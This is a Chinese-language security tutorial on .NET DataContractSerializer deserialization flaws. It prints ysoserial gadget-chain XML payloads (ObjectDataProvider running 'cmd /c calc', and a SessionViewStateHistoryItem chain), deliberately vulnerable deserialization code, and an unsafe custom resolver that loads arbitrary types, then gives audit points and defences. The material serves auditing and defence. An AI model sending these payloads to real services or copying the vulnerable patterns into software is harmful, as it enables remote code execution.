.net反序列化之DataContractSerializer
字数 1095 2025-08-05 08:17:36
.NET反序列化之DataContractSerializer 深入解析
1. DataContractSerializer 概述
DataContractSerializer 是 .NET 框架中用于序列化和反序列化对象为 XML 流或文档的类,位于 System.Runtime.Serialization 命名空间,继承自抽象类 XmlObjectSerializer。它主要用于 Windows Communication Foundation (WCF) 消息中数据的序列化处理。
基本特性
- 使用
[DataContract]标记类为可序列化 - 使用
[DataMember]标记类成员为可序列化字段 - 在部分信任模式下运行时,反序列化期间不会调用目标对象的构造函数
2. 基本使用示例
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Xml;
[DataContract(Name = "Customer", Namespace = "http://www.contoso.com")]
class Person
{
[DataMember()]
public string FirstName;
[DataMember]
public string LastName;
[DataMember()]
public int Age;
public Person(string newfName, string newLName, int age)
{
FirstName = newfName;
LastName = newLName;
Age = age;
}
}
class Program
{
static void Main(string[] args)
{
WriteObject("DataContractSerializerExample.xml");
ReadObject("DataContractSerializerExample.xml");
}
public static void WriteObject(string fileName)
{
Person p1 = new Person("bill", "gates", 100);
FileStream writer = new FileStream(fileName, FileMode.Create);
DataContractSerializer ser = new DataContractSerializer(typeof(Person));
ser.WriteObject(writer, p1);
writer.Close();
}
public static void ReadObject(string fileName)
{
FileStream fs = new FileStream(fileName, FileMode.Open);
XmlDictionaryReader reader = XmlDictionaryReader.CreateTextReader(fs, new XmlDictionaryReaderQuotas());
DataContractSerializer ser = new DataContractSerializer(typeof(Person));
Person deserializedPerson = (Person)ser.ReadObject(reader, true);
reader.Close();
fs.Close();
}
}
生成的 XML 示例:
<Customer xmlns="http://www.contoso.com" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<Age>100</Age>
<FirstName>bill</FirstName>
<LastName>gates</LastName>
</Customer>
3. 攻击链分析
3.1 ObjectDataProvider 攻击链
利用 ysoserial 生成的 payload 示例:
<?xml version="1.0"?>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]],System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL xmlns="http://schemas.datacontract.org/2004/07/System.Data.Services.Internal"
xmlns:c="http://www.w3.org/2001/XMLSchema"
xmlns:i="http://www.w3.org/2001/XMLSchema-instance"
xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/">
<ExpandedElement z:Id="ref1">
<__identity i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System"/>
</ExpandedElement>
<ProjectedProperty0 xmlns:a="http://schemas.datacontract.org/2004/07/System.Windows.Data">
<a:MethodName>Start</a:MethodName>
<a:MethodParameters xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<b:anyType i:type="c:string">cmd</b:anyType>
<b:anyType i:type="c:string">/c calc</b:anyType>
</a:MethodParameters>
<a:ObjectInstance z:Ref="ref1"/>
</ProjectedProperty0>
</ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL>
</root>
反序列化代码:
public static void ReadObject(string fileName)
{
string xml = File.ReadAllText(fileName);
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(xml);
XmlNode rootNode = xmlDocument.SelectSingleNode("root");
XmlNode typeNode = rootNode.Attributes.GetNamedItem("type");
DataContractSerializer dataContractSerializer = new DataContractSerializer(Type.GetType(typeNode.InnerText));
dataContractSerializer.ReadObject(new XmlTextReader(new StringReader(rootNode.InnerXml)));
}
3.2 SessionViewStateHistoryItem 攻击链
利用 ysoserial 生成的 payload 示例:
<root type="System.Web.UI.MobileControls.SessionViewState+SessionViewStateHistoryItem, System.Web.Mobile, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<SessionViewState.SessionViewStateHistoryItem xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/" xmlns="http://schemas.datacontract.org/2004/07/System.Web.UI.MobileControls">
<s i:type="x:string" xmlns="">Base64编码的LosFormatter payload</s>
</SessionViewState.SessionViewStateHistoryItem>
</root>
实现代码:
[Serializable]
public class SessionViewStateHistoryItemMarshal : ISerializable
{
public SessionViewStateHistoryItemMarshal(string strB64LosFormatterPayload)
{
B64LosFormatterPayload = strB64LosFormatterPayload;
}
private string B64LosFormatterPayload { get; }
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type myType_SessionViewState = Type.GetType("System.Web.UI.MobileControls.SessionViewState, System.Web.Mobile, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
Type[] nestedTypes = myType_SessionViewState.GetNestedTypes(BindingFlags.NonPublic | BindingFlags.Instance);
info.SetType(nestedTypes[0]); // 访问SessionViewStateHistoryItem类(private)
info.AddValue("s", B64LosFormatterPayload);
}
}
4. 审计要点
审计 DataContractSerializer 反序列化漏洞时,需要关注以下关键点:
4.1 Type 控制方式
- 通过 XML 解析获取 type 属性
- 通过构造函数的
IEnumerable<Type> knownTypes参数控制 type - 通过构造函数的
DataContractResolver参数控制自定义类型转换器 - 通过构造函数的
IDataContractSurrogate参数控制实现
4.2 自定义 DataContractResolver 绕过
当 Type 不可控但类型中有松散数据类型(如 object)时,如果使用了自定义的 DataContractResolver 且未对 type 进行限制,仍可能导致 RCE。
示例代码:
internal class MyDataContractResolver : DataContractResolver
{
public override Type ResolveName(string typeName, string typeNamespace, Type declaredType, DataContractResolver knownTypeResolver)
{
Type type = Type.GetType(typeName, false);
if (type == null)
{
type = Assembly.Load(typeNamespace).GetType(typeName, false);
}
return type ?? knownTypeResolver.ResolveName(typeName, typeNamespace, declaredType, null);
}
public override bool TryResolveType(Type type, Type declaredType, DataContractResolver knownTypeResolver, out XmlDictionaryString typeName, out XmlDictionaryString typeNamespace)
{
typeName = new XmlDictionaryString(XmlDictionary.Empty, type.FullName, 0);
typeNamespace = new XmlDictionaryString(XmlDictionary.Empty, type.Assembly.FullName, 0);
return true;
}
}
利用这种解析器可以绕过 knownTypes 限制,加载任意类型。
5. 防御建议
- 严格限制反序列化的类型,使用白名单机制
- 避免使用自定义的
DataContractResolver或确保其实现安全 - 对输入数据进行严格验证
- 在部分信任环境中运行代码
- 及时更新 .NET 框架和安全补丁
6. 实际应用
这种攻击技术在 Exchange CVE-2021-28482 反序列化漏洞中有实际应用,攻击者通过控制 type 和利用自定义类型解析器实现远程代码执行。